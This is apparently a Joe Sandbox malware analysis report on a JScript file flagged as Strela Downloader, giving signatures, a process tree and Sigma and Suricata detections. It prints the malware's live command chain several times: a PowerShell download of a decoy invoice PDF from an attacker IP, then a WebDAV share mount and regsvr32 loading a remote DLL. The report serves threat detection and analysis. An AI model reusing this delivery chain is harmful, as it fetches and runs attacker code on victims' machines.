Edit tour

Windows Analysis Report
23268167561217715617.js

Overview

General Information

Sample name:	23268167561217715617.js
Analysis ID:	1587705
MD5:	0040fb17b4ad017566a6a4ee03982d45
SHA1:	c2c6a05503dfb7d8d86a1dd5a6289a5ad6759cb6
SHA256:	d8ff24edf667481340b2c9241ad1f5b4206ccac11a87d25d576f08d1b3297741
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2876 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6324 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7128 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2876 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

cmd.exe (PID: 3232 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2404 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

AcroCEF.exe (PID: 5732 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7368 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1760,i,841207783363075579,11677814257639590929,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 7236 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2876	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6324, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7128, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6324, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7128, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", ProcessId: 2876, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2404, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49714

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6324, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6324, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6324, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6324, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6324, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6324, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", ProcessId: 2876, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6324, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7128, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3232, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2404, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7236, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3232, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2404, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6324, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:10:56.774662+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49714	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:10:54.216622+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49702	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 23268167561217715617.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 23268167561217715617.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49714 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:10:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 